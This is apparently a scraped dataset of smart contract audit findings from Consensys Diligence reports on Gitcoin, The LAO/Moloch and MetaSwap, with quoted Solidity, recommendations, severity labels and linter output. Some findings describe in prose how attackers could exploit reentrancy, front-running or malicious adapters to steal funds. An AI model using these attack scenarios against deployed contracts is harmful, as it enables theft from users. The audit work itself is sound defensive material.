user_amount)))); This hash is then checked if it matches the third argument. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L259 return leaf == leaf_hash; The result of the equality is returned by the method. The name of the method is confusing because it should say that it returns true if the leaf is considered valid. Recommendation Consider renaming the method to something like isValidLeafHash. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.6 Method returns bool but result is never used in TokenDistributor.claimTokens ", "body": " Resolution Removed in gitcoinco/governance#4 Description The method _delegateTokens is called when a user claims their tokens to automatically delegate the claimed tokens to their own address or to a different one. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L135 _delegateTokens(user_address, delegate_address); The method accepts the addresses of the delegator and the delegate and returns a boolean. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L262-L270 /** @notice execute call on token contract to delegate tokens @return boolean true on success / function _delegateTokens(address delegator, address delegatee) private returns (bool) { GTCErc20 GTCToken = GTCErc20(token); GTCToken.delegateOnDist(delegator, delegatee); return true; But this boolean is never used. Recommendation Remove the returned boolean because it s always returned as true anyway and the transaction will be a bit cheaper. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.7 Use a unified compiler version for all contracts ", "body": " Resolution Compiler versions updated to gitcoinco/governance#2 Description Currently the smart contracts for the Gitcoin token and governance use different versions of Solidity compiler (^0.5.16, 0.6.12 , 0.5.17). Recommendation It is suggested to use a unified compiler version for all contracts (e.g. 0.6.12). Note that it is recommended to use the latest version of Solidity compiler with security patches (currently 0.8.3), although given that these contracts are forks of the battle tested Uniswap governance contracts, the Gitcoin team prefer to keep the modifications to the code at minimum. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.8 Improve efficiency by using immutable in TreasuryVester ", "body": " Resolution Fixed in gitcoinco/governance#5 Description The TreasuryVester contract when deployed has a few fixed storage variables. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TreasuryVester.sol:L30 gtc = gtc_; code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TreasuryVester.sol:L33-L36 vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingCliff = vestingCliff_; vestingEnd = vestingEnd_; These storage variables are defined in the contract. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TreasuryVester.sol:L8 address public gtc; code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TreasuryVester.sol:L11-L14 uint public vestingAmount; uint public vestingBegin; uint public vestingCliff; uint public vestingEnd; But they are never changed. Recommendation Consider setting storage variables as immutable type for a considerable gas improvement. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "5.1 safeRagequit makes you lose funds in Pull Pattern", "body": " Resolution Description safeRagequit and ragequit functions are used for withdrawing funds from the LAO. The difference between them is that ragequit function tries to withdraw all the allowed tokens and safeRagequit function withdraws only some subset of these tokens, defined by the user. It s needed in case the user or GuildBank is blacklisted in some of the tokens and the transfer reverts. The problem is that even though you can quit in that case, you ll lose the tokens that you exclude from the list. To be precise, the tokens are not completely lost, they will belong to the LAO and can still potentially be transferred to the user who quit. But that requires a lot of trust, coordination, time and anyone can steal some part of these tokens. Recommendation Implementing pull pattern for token withdrawals should solve the issue. Users will be able to quit the LAO and burn their shares but still keep their tokens in the LAO s contract for some time if they can t withdraw them right now. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.2 Creating proposal is not trustless in Pull Pattern", "body": " Resolution this issue no longer exists in the Pull Pattern update, due to the fact that emergency processing and in function ERC20 transfers are removed. Description Usually, if someone submits a proposal and transfers some amount of tribute tokens, these tokens are transferred back if the proposal is rejected. But if the proposal is not processed before the emergency processing, these tokens will not be transferred back to the proposer. This might happen if a tribute token or a deposit token transfers are blocked. code/contracts/Moloch.sol:L407-L411 if (!emergencyProcessing) { require( proposal.tributeToken.transfer(proposal.proposer, proposal.tributeOffered), \"failing vote token transfer failed\" ); Tokens are not completely lost in that case, they now belong to the LAO shareholders and they might try to return that money back. But that requires a lot of coordination and time and everyone who ragequits during that time will take a part of that tokens with them. Recommendation Pull pattern for token transfers would solve the issue. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.3 Emergency processing can be blocked in Pull Pattern", "body": " Resolution Emergency Processing no longer exists in the Pull Pattern update. Description The main reason for the emergency processing mechanism is that there is a chance that some token transfers might be blocked. For example, a sender or a receiver is in the USDC blacklist. Emergency processing saves from this problem by not transferring tribute token back to the user (if there is some) and rejecting the proposal. code/contracts/Moloch.sol:L407-L411 if (!emergencyProcessing) { require( proposal.tributeToken.transfer(proposal.proposer, proposal.tributeOffered), \"failing vote token transfer failed\" ); The problem is that there is still a deposit transfer back to the sponsor and it could be potentially blocked too. If that happens, proposal can t be processed and the LAO is blocked. Recommendation Implementing pull pattern for all token withdrawals would solve the problem. The alternative solution would be to also keep the deposit tokens in the LAO, but that makes sponsoring the proposal more risky for the sponsor. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.4 Token Overflow might result in system halt or loss of funds ", "body": " Resolution Fixed in fd2da6, and 32ad9b by allowing overflows in most balance calculations (e.g. Description If a token overflows, some functionality such as processProposal, cancelProposal will break due to safeMath reverts. The overflow could happen because the supply of the token was artificially inflated to oblivion. This issue was pointed out by Heiko Fisch in Telegram chat. Examples Any function using internalTransfer() can result in an overflow: contracts/Moloch.sol:L631-L634 function max(uint256 x, uint256 y) internal pure returns (uint256) { return x >= y ? x : y; Recommendation We recommend to allow overflow for broken or malicious tokens. This is to prevent system halt or loss of funds. It should be noted that in case an overflow occurs, the balance of the token will be incorrect for all token holders in the system. rageKick, rageQuit were fixed by not using safeMath within the function code, however this fix is risky and not recommended, as there are other overflows in other functions that might still result in system halt or loss of funds. One suggestion is having a function named unsafeInternalTransfer() which does not use safeMath for the cases that overflow should be allowed. This mainly adds better readability to the code. It is still a risky fix and a better solution should be planned. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.5 Whitelisted tokens limit ", "body": " Resolution mitigated by having separate limits for number of whitelisted tokens (for non-zero balance and for zero balance) in 486f1b3 and follow up commits. That s helpful because it s much cheaper to process tokens with zero balance in the guild bank and you can have much more whitelisted tokens overall. uint256 constant MAX_TOKEN_WHITELIST_COUNT = 400; // maximum number of whitelisted tokens uint256 constant MAX_TOKEN_GUILDBANK_COUNT = 200; // maximum number of tokens with non-zero balance in guildbank uint256 public totalGuildBankTokens = 0; // total tokens with non-zero balance in guild bank It should be noted that this is an estimated limit based on the manual calculations and current OP code gas costs. DAO members should consider splitting the DAO into two if more than 100 tokens with non-zero balance are used in the DAO to be safe. Description _ragequit function is iterating over all whitelisted tokens: contracts/Moloch.sol:L507-L513 for (uint256 i = 0; i < tokens.length; i++) { uint256 amountToRagequit = fairShare(userTokenBalances[GUILD][tokens[i]], sharesAndLootToBurn, initialTotalSharesAndLoot); // deliberately not using safemath here to keep overflows from preventing the function execution (which would break ragekicks) // if a token overflows, it is because the supply was artificially inflated to oblivion, so we probably don't care about it anyways userTokenBalances[GUILD][tokens[i]] -= amountToRagequit; userTokenBalances[memberAddress][tokens[i]] += amountToRagequit; If the number of tokens is too big, a transaction can run out of gas and all funds will be blocked forever. Ballpark estimation of this number is around 300 tokens based on the current OpCode gas costs and the block gas limit. Recommendation A simple solution would be just limiting the number of whitelisted tokens. If the intention is to invest in many new tokens over time, and it s not an option to limit the number of whitelisted tokens, it s possible to add a function that removes tokens from the whitelist. For example, it s possible to add a new type of proposals, that is used to vote on token removal if the balance of this token is zero. Before voting for that, shareholders should sell all the balance of that token. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.6 Summoner can steal funds using bailout in Pull Pattern", "body": " Resolution Description Currently, there are 2 major reasons for using the bailout function: Kick someone out of the LAO. If the shareholders vote for kicking somebody, the kicked user goes to jail at first. If the LAO kicks someone, it s important not to steal user s funds, but remove them from profit-sharing as soon as possible. Currently, because the user can potentially block some token transfers, funds can t be transferred and the user is still having loot and is participation in a profit-sharing. In order to avoid that, bailout function was introduced. It allows anyone to transfer kicked user s funds to the summoner if the user does not call safeRagequit (which forces the user to lose some funds). The intention is for the summoner to transfer these funds to the kicked member afterwards. The issue here is that it requires a lot of trust to the summoner on the one hand, and requires more time to kick the member out of the LAO. lost private key problem. If someone s private key was lost, shareholders can allow summoner to transfer funds from any user whose keys were lost. The problem is that any member s funds can be stolen by the LAO members and the summoner like that. So every member should keep track of that kind of proposal and is forced to do the ragequit if that proposal passes. That decreases trustlessness because if a user is not tracking the system for some time, the user s money can possibly be stolen. Recommendation To solve these issues, these 2 intentions should be split into 2 different mechanisms. By implementing pull pattern for token transfers, kicked member won t be able to block the ragekick and the LAO members would be able to kick anyone much quicker. There is no need to keep the bailout for this intention. If lost private key problem should be addressed in the LAO, the time period for the funds recovery should be big because there is no need to do the recovery asap. Recovery can be done without a preliminary kick and can even cover not only the shares and loot, but also tokens that should be withdrawn (if pull pattern is implemented) ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.7 Sponsorship front-running in Pull Pattern", "body": " Resolution this issue no longer exists in the Pull Pattern update with Major severity, as mentioned in the recommendation, the front-running vector is still open but no rationale exist for such a behaviour. Description If proposal submission and sponsorship are done in 2 different transactions, it s possible to front-run the sponsorProposal function by any member. The incentive to do that is to be able to block the proposal afterwards. It s sometimes possible to block the proposal by getting blacklisted at depositToken. In that case, the proposal won t be accepted and the emergency processing is going to happen next. Currently, if the attacker can become whitelisted again, he might even not lose the deposit tokens. If not, it will block the whole system forever and everyone would have to ragequit (but that s the part of another issue). Recommendation Pull pattern for token transfers will solve the issue. Front-running will still be possible but it doesn t affect anything. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.8 Delegate assignment front-running ", "body": " Description Any member can front-run another member s delegateKey assignment. if you try to submit an address as your delegateKey, someone else can try to assign your delegate address tp themselves. While incentive of this action is unclear, it s possible to block some address from being a delegate forever. ragekick and ragequit do not free the delegate address and the delegate itself also cannot change the address. The possible attack could be that a well-known hard-to-replace multisig address is assigned as a delegateKey and someone else take this address to block it. Also, if the malicious member is about to ragequit or be kicked, it s possible to do this attack without losing anything. The only way to free the delegate is to make it a member, but then it can never be a delegate after. Recommendation Make it possible for a delegateKey to approve delegateKey assignment or cancel the current delegation. And additionally, it may be valuable to clear the delegate address in the _ragequit function. Commit-reveal methods can also be used to mitigate this attack. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.9 No votes are still valid after the ragequit/ragekick ", "body": " Description Shareholders can vote for the upcoming proposals 2 weeks before they can be executed. If they ragequit or get ragekicked, their votes are still considered valid. And while the LAO does not allow anyone to ragequit before the last proposal with Yes vote is processed, it s still possible to quit the LAO and having active No votes on some proposals. It s not naturally expected behaviour because by that time a user ragequits, they are not part of the LAO and do not have any voting power. Moreover, there is no incentive not to vote No just to fail all the possible proposals, because the user won t be sharing any consequences of the result of these proposals. And even incentivized to vote No for every proposal just as the act of revenge for the ragekick. Recommendation The problem is mitigated by the fact that all rejected proposals can be submitted again and be processed a few weeks after. It s possible to remove all the No votes from the proposals after user s ragekick/ragequit. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.10 Dilution bound should be a fixed-point number ", "body": " Resolution a per-proposal dilution bound was considered for the v1, but kept it global in the interest of code simplicity. Description The dilution bound is designed to mitigate an issue where a proposal is passed, then many users ragequit from the DAO and the remaining members have to pay more than they initially intended to. Because of that, the proposal will be automatically rejected if the total amount of shares becomes dilutionBound times less than it was before. The problem is that dilutionBound is an integer value and it s impossible to configure it to decimal values such as 1.2, for example. Recommendation Make dilutionBound a fixed-point number. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.11 Whitelist proposal duplicate ", "body": " Description Every time when a whitelist proposal is sponsored, it s checked that there is no other sponsored whitelist proposal with the same token. This is done in order to avoid proposal duplicates. code/contracts/Moloch.sol:L277-L281 // whitelist proposal if (proposal.flags[4]) { require(!tokenWhitelist[address(proposal.tributeToken)], \"cannot already have whitelisted the token\"); require(!proposedToWhitelist[address(proposal.tributeToken)], 'already proposed to whitelist'); proposedToWhitelist[address(proposal.tributeToken)] = true; The issue is that even though you can t sponsor a duplicate proposal, you can still submit a new proposal with the same token. Recommendation Check that there is currently no sponsored proposal with the same token on proposal submission. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "5.12 Moloch - bool[6] flags can be changed to a dedicated structure ", "body": " Resolution The Moloch team decided to leave the Description The Moloch contract uses a structure that includes an array of bools to store a few flags about the proposal: code/contracts/Moloch.sol:L88 bool[6] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick] This makes reasoning about the correctness of the code a bit complicated because one needs to remember what each item in the flag list stands for. The make the reader s life simpler a dedicated structure can be created that incorporates all of the required flags. Examples bool[6] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick] Recommendation Based on the provided examples change the bool[6] flags to the proposed examples. Flags as bool array with enum (proposed) This second contract implements the flags as a defined structure with each named element representing a specific flag. This method makes clear which flag is accessed because they are referred to by the name, not by the index. This third contract has the least amount of changes to the code and uses an enum structure to handle the index. pragma solidity 0.5.15; contract FlagsEnum { struct Proposal { address applicant; uint value; bool[3] flags; // [sponsored, processed, kicked] enum ProposalFlags { SPONSORED, PROCESSED, KICKED uint proposalCount; mapping(uint256 => Proposal) public proposals; function addProposal(uint _value, bool _sponsored, bool _processed, bool _kicked) public returns (uint) { Proposal memory proposal = Proposal({ applicant: msg.sender, value: _value, flags: [_sponsored, _processed, _kicked] }); proposals[proposalCount] = proposal; proposalCount += 1; return (proposalCount); function getProposal(uint _proposalId) public view returns (address, uint, bool, bool, bool) { return ( proposals[_proposalId].applicant, proposals[_proposalId].value, proposals[_proposalId].flags[uint(ProposalFlags.SPONSORED)], proposals[_proposalId].flags[uint(ProposalFlags.PROCESSED)], proposals[_proposalId].flags[uint(ProposalFlags.KICKED)] ); 6 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "6.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "6.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: contracts/GuildBank.sol 13:8 warning Provide an error message for require() error-reason 23:12 warning Provide an error message for require() error-reason 34:8 warning Provide an error message for require() error-reason 36:27 warning There should be no whitespace or comments between the opening brace '{' and first item. whitespace 36:37 warning There should be no whitespace or comments between the last item and closing brace '}'. whitespace contracts/Moloch.sol 34:4 warning Line exceeds the limit of 145 characters max-len 41:4 warning Line exceeds the limit of 145 characters max-len 42:4 warning Line exceeds the limit of 145 characters max-len 76:8 warning Line exceeds the limit of 145 characters max-len 169:24 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 262:8 warning Line exceeds the limit of 145 characters max-len 272:49 error String literal must be quoted with double quotes. quotes 280:74 error String literal must be quoted with double quotes. quotes 285:57 error String literal must be quoted with double quotes. quotes 362:8 warning Line exceeds the limit of 145 characters max-len 517:8 warning Line exceeds the limit of 145 characters max-len 540:13 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 559:8 warning Error message exceeds max length of 76 characters error-reason 583:8 warning Error message exceeds max length of 76 characters error-reason 641:15 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members contracts/oz/ERC20.sol 128:8 warning Provide an error message for require() error-reason 143:8 warning Provide an error message for require() error-reason 157:8 warning Provide an error message for require() error-reason 171:8 warning Provide an error message for require() error-reason 172:8 warning Provide an error message for require() error-reason contracts/oz/SafeMath.sol 10:8 warning Provide an error message for require() error-reason 17:8 warning Provide an error message for require() error-reason 24:8 warning Provide an error message for require() error-reason 32:8 warning Provide an error message for require() error-reason contracts/test-helpers/Submitter.sol 9:2 error Only use indent of 4 spaces. indentation 11:2 error Only use indent of 4 spaces. indentation 13:2 error Only use indent of 4 spaces. indentation 15:0 error Only use indent of 4 spaces. indentation 17:2 error Only use indent of 4 spaces. indentation 39:0 error Only use indent of 4 spaces. indentation 41:2 error Only use indent of 4 spaces. indentation 51:0 error Only use indent of 4 spaces. indentation 53:2 error Only use indent of 4 spaces. indentation 63:0 error Only use indent of 4 spaces. indentation contracts/tokens/ClaimsToken.sol 95:1 error Only use indent of 4 spaces. indentation 98:1 error Only use indent of 4 spaces. indentation 100:1 error Only use indent of 4 spaces. indentation 102:1 error Only use indent of 4 spaces. indentation 105:1 error Only use indent of 4 spaces. indentation 112:0 error Only use indent of 4 spaces. indentation 121:1 error Only use indent of 4 spaces. indentation 129:0 error Only use indent of 4 spaces. indentation 140:1 error Only use indent of 4 spaces. indentation 148:0 error Only use indent of 4 spaces. indentation 154:1 error Only use indent of 4 spaces. indentation 160:0 error Only use indent of 4 spaces. indentation 167:1 error Only use indent of 4 spaces. indentation 173:0 error Only use indent of 4 spaces. indentation 180:1 error Only use indent of 4 spaces. indentation 184:0 error Only use indent of 4 spaces. indentation 190:1 error Only use indent of 4 spaces. indentation 197:0 error Only use indent of 4 spaces. indentation 203:1 error Only use indent of 4 spaces. indentation 208:0 error Only use indent of 4 spaces. indentation 216:1 error Only use indent of 4 spaces. indentation 226:0 error Only use indent of 4 spaces. indentation 232:1 error Only use indent of 4 spaces. indentation 234:1 error Only use indent of 4 spaces. indentation 237:0 error Only use indent of 4 spaces. indentation 239:1 error Only use indent of 4 spaces. indentation 243:2 warning Provide an error message for require() error-reason 246:0 error Only use indent of 4 spaces. indentation 251:1 error Only use indent of 4 spaces. indentation 260:0 error Only use indent of 4 spaces. indentation 268:1 error Only use indent of 4 spaces. indentation 276:0 error Only use indent of 4 spaces. indentation contracts/tokens/Token.sol 25:8 warning Provide an error message for require() error-reason \u2716 44 errors, 28 warnings found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "6.3 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Files Description Table contracts/GuildBank.sol d4329bc7836a1800eb2376da05f76f1783700b9a contracts/Moloch.sol 8f55cc17fcf0488acdc9dd2261dca1e08f42c4ac contracts/oz/ERC20.sol 6db943e86683ce536b8e75e79d7fb80a02b855ae contracts/oz/IERC20.sol f249341b598ed60fdb987fc6dd05b6cd15da7b6b contracts/oz/ReentrancyGuard.sol 115a19532af141450ea30ad141aecb76b79035b4 contracts/oz/SafeMath.sol b86ab5a6679fd597c3a0412d31080893beeb653a contracts/test-helpers/Submitter.sol 7b29e3178cb4c7848851a8c92661a0e12fee7489 contracts/tokens/ClaimsToken.sol 11bb8b648de195efbca13df15e10b3e6a75fcab6 contracts/tokens/Token.sol 7c193d22ad069e368aba4fa9bc3d4c28e8e1973b Contracts Description Table Function Name Visibility Mutability Modifiers GuildBank Implementation Public withdraw Public onlyOwner withdrawToken Public onlyOwner fairShare Internal \ud83d\udd12 Moloch Implementation ReentrancyGuard Public submitProposal Public nonReentrant submitWhitelistProposal Public nonReentrant submitGuildKickProposal Public nonReentrant _submitProposal Internal \ud83d\udd12 sponsorProposal Public nonReentrant onlyDelegate submitVote Public nonReentrant onlyDelegate processProposal Public nonReentrant processWhitelistProposal Public nonReentrant processGuildKickProposal Public nonReentrant _didPass Internal \ud83d\udd12 _validateProposalForProcessing Internal \ud83d\udd12 _returnDeposit Internal \ud83d\udd12 ragequit Public nonReentrant onlyMember safeRagequit Public nonReentrant onlyMember _ragequit Internal \ud83d\udd12 ragekick Public nonReentrant bailout Public nonReentrant cancelProposal Public nonReentrant updateDelegateKey Public nonReentrant onlyShareholder max Internal \ud83d\udd12 getCurrentPeriod Public NO getProposalQueueLength Public NO getProposalFlags Public NO canRagequit Public NO canBailout Public NO hasVotingPeriodExpired Public NO getMemberProposalVote Public NO ERC20 Implementation IERC20 totalSupply Public NO balanceOf Public NO allowance Public NO transfer Public NO approve Public NO transferFrom Public NO increaseAllowance Public NO decreaseAllowance Public NO _transfer Internal \ud83d\udd12 _mint Internal \ud83d\udd12 _burn Internal \ud83d\udd12 _approve Internal \ud83d\udd12 _burnFrom Internal \ud83d\udd12 IERC20 Interface transfer External NO approve External NO transferFrom External NO totalSupply External NO balanceOf External NO allowance External NO ReentrancyGuard Implementation Internal \ud83d\udd12 SafeMath Library mul Internal \ud83d\udd12 div Internal \ud83d\udd12 sub Internal \ud83d\udd12 add Internal \ud83d\udd12 Submitter Implementation Public submitProposal Public NO submitWhitelistProposal Public NO submitGuildKickProposal Public NO ERC20Detailed Implementation IERC20 Public name Public NO symbol Public NO decimals Public NO IClaimsToken Interface withdrawFunds External NO availableFunds External NO totalReceivedFunds External NO ClaimsToken Implementation IClaimsToken, ERC20, ERC20Detailed Public ERC20Detailed transfer Public NO transferFrom Public NO totalReceivedFunds External NO availableFunds Public NO _registerFunds Internal \ud83d\udd12 _calcUnprocessedFunds Internal \ud83d\udd12 _claimFunds Internal \ud83d\udd12 _prepareWithdraw Internal \ud83d\udd12 ClaimsTokenERC20Extension Implementation IClaimsToken, ClaimsToken Public ClaimsToken withdrawFunds External NO tokenFallback Public onlyFundsToken Token Implementation ERC20 Public updateTransfersEnabled External NO updateTransfersReturningFalse External NO transfer Public NO Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/the-lao/"}, {"title": "4.1 Reentrancy vulnerability in MetaSwap.swap() ", "body": " Resolution This is fixed in ConsenSys/metaswap-contracts@8de01f6. Description MetaSwap.swap() should have a reentrancy guard. The adapters use this general process: Collect the from token (or ether) from the user. Execute the trade. Transfer the contract s balance of tokens (from and to) and ether to the user. If an attacker is able to reenter swap() before step 3, they can execute their own trade using the same tokens and get all the tokens for themselves. This is partially mitigated by the check against amountTo in CommonAdapter, but note that the amountTo typically allows for slippage, so it may still leave room for an attacker to siphon off some amount while still returning the required minimum to the user. code/contracts/adapters/CommonAdapter.sol:L57-L62 // Transfer remaining balance of tokenTo to sender if (address(tokenTo) != Constants.ETH) { uint256 balance = tokenTo.balanceOf(address(this)); require(balance >= amountTo, \"INSUFFICIENT_AMOUNT\"); _transfer(tokenTo, balance, recipient); } else { Examples As an example of how this could be exploited, 0x supports an EIP1271Wallet signature type, which invokes an external contract to check whether a trade is allowed. A malicious maker might front run the swap to reduce their inventory. This way, the taker is sending more of the taker asset than necessary to MetaSwap. The excess can be stolen by the maker during the EIP1271 call. Recommendation Use a simple reentrancy guard, such as OpenZeppelin s ReentrancyGuard to prevent reentrancy in MetaSwap.swap(). It might seem more obvious to put this check in Spender.swap(), but the Spender contract intentionally does not use any storage to avoid interference between different adapters. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "4.2 A new malicious adapter can access users tokens ", "body": " Resolution This is fixed in ConsenSys/metaswap-contracts@8de01f6. Description The purpose of the MetaSwap contract is to save users gas costs when dealing with a number of different aggregators. They can just approve() their tokens to be spent by MetaSwap (or in a later architecture, the Spender contract). They can then perform trades with all supported aggregators without having to reapprove anything. A downside to this design is that a malicious (or buggy) adapter has access to a large collection of valuable assets. Even a user who has diligently checked all existing adapter code before interacting with MetaSwap runs the risk of having their funds intercepted by a new malicious adapter that s added later. Recommendation There are a number of designs that could be used to mitigate this type of attack. After discussion and iteration with the client team, we settled on a pattern where the MetaSwap contract is the only contract that receives token approval. It then moves tokens to the Spender contract before that contract DELEGATECALLs to the appropriate adapter. In this model, newly added adapters shouldn t be able to access users funds. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "4.3 Owner can front-run traders by updating adapters ", "body": " Resolution This is fixed in ConsenSys/metaswap-contracts@8de01f6. Description MetaSwap owners can front-run users to swap an adapter implementation. This could be used by a malicious or compromised owner to steal from users. Because adapters are DELEGATECALLed, they can modify storage. This means any adapter can overwrite the logic of another adapter, regardless of what policies are put in place at the contract level. Users must fully trust every adapter because just one malicious adapter could change the logic of all other adapters. Recommendation At a minimum, disallow modification of existing adapters. Instead, simply add new adapters and disable the old ones. (They should be deleted, but the aggregator IDs of deleted adapters should never be reused.) This is, however, insufficient. A new malicious adapter could still overwrite the adapter mapping to modify existing adapters. To fully address this issue, the adapter registry should be in a separate contract. Through discussion and iteration with the client team, we settled on the following pattern: MetaSwap contains the adapter registry. It calls into a new Spender contract. The Spender contract has no storage at all and is just used to DELEGATECALL to the adapter contracts. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "4.4 Simplify fee calculation in WethAdapter ", "body": " Resolution ConsenSys/metaswap-contracts@93bf5c6. Description WethAdapter does some arithmetic to keep track of how much ether is being provided as a fee versus as funds that should be transferred into WETH: code/contracts/adapters/WethAdapter.sol:L41-L59 // Some aggregators require ETH fees uint256 fee = msg.value; if (address(tokenFrom) == Constants.ETH) { // If tokenFrom is ETH, msg.value = fee + amountFrom (total fee could be 0) require(amountFrom <= fee, \"MSG_VAL_INSUFFICIENT\"); fee -= amountFrom; // Can't deal with ETH, convert to WETH IWETH weth = getWETH(); weth.deposit{value: amountFrom}(); _approveSpender(weth, spender, amountFrom); } else { // Otherwise capture tokens from sender // tokenFrom.safeTransferFrom(recipient, address(this), amountFrom); _approveSpender(tokenFrom, spender, amountFrom); // Perform the swap aggregator.functionCallWithValue(abi.encodePacked(method, data), fee); This code can be simplified by using address(this).balance instead. Recommendation Consider something like the following code instead: if (address(tokenFrom) == Constants.ETH) { getWETH().deposit{value: amountFrom}(); // will revert if the contract has an insufficient balance _approveSpender(weth, spender, amountFrom); } else { tokenFrom.safeTransferFrom(recipient, address(this), amountFrom); _approveSpender(tokenFrom, spender, amountFrom); // Send the remaining balance as the fee. aggregator.functionCallWithValue(abi.encodePacked(method, data), address(this).balance); Aside from being a little simpler, this way of writing the code makes it obvious that the full balance is being properly consumed. Part is traded, and the rest is sent as a fee. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "4.5 Consider checking adapter existence in MetaSwap ", "body": " Resolution The MetaSwap team found that doing the check in Description MetaSwap doesn t check that an adapter exists before calling into Spender: code/contracts/MetaSwap.sol:L87-L100 function swap( string calldata aggregatorId, IERC20 tokenFrom, uint256 amount, bytes calldata data ) external payable whenNotPaused nonReentrant { Adapter storage adapter = adapters[aggregatorId]; if (address(tokenFrom) != Constants.ETH) { tokenFrom.safeTransferFrom(msg.sender, address(spender), amount); spender.swap{value: msg.value}( adapter.addr, Then Spender performs the check and reverts if it receives address(0). code/contracts/Spender.sol:L15-L16 function swap(address adapter, bytes calldata data) external payable { require(adapter != address(0), \"ADAPTER_NOT_SUPPORTED\"); It can be difficult to decide where to put a check like this, especially when the operation spans multiple contracts. Arguments can be made for either choice (or even duplicating the check), but as a general rule it s a good idea to avoid passing invalid parameters internally. Checking for adapter existence in MetaSwap.swap() is a natural place to do input validation, and it means Spender can have a simpler model where it trusts its inputs (which always come from MetaSwap). Recommendation Drop the check from Spender.swap() and perform the check instead in MetaSwap.swap(). 5 Second Assessment We performed a second assessment between October 3rd and October 4th, 2020. The engagement was conducted primarily by Steve Marx. The total effort expended was 2 person-days. This second assessment covered three new features added by the MetaSwap team: Support for the CHI gas token This allows users to offset their gas costs by burning gas tokens. These tokens can come from the user or from tokens that are owned by the MetaSwap contract itself. Uniswap Adapter This adapter allows swaps to be executed via the Uniswap v2 Router directly, rather than going through some other exchange first. Fee collection FeeCommonAdapter and FeeWethAdapter are fee-collecting versions of the original CommonAdapter and WethAdapter. They support an extra parameter fee, indicating the quantity of the from asset to be sent to a fee wallet. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "5.1 Scope for the Second Assessment", "body": " The following files were in scope for the second assessment: MetaSwap.sol 5d66ea56c131b3ad5246e9fc6c126a0b7ba497fa adapters/FeeCommonAdapter.sol 1bb0e2b4f7fca8e0d98113cf152eeb6be4ff13c7 adapters/FeeWethAdapter.sol f844d9e13bd2cbf52a81ae4637b35f214098f3b2 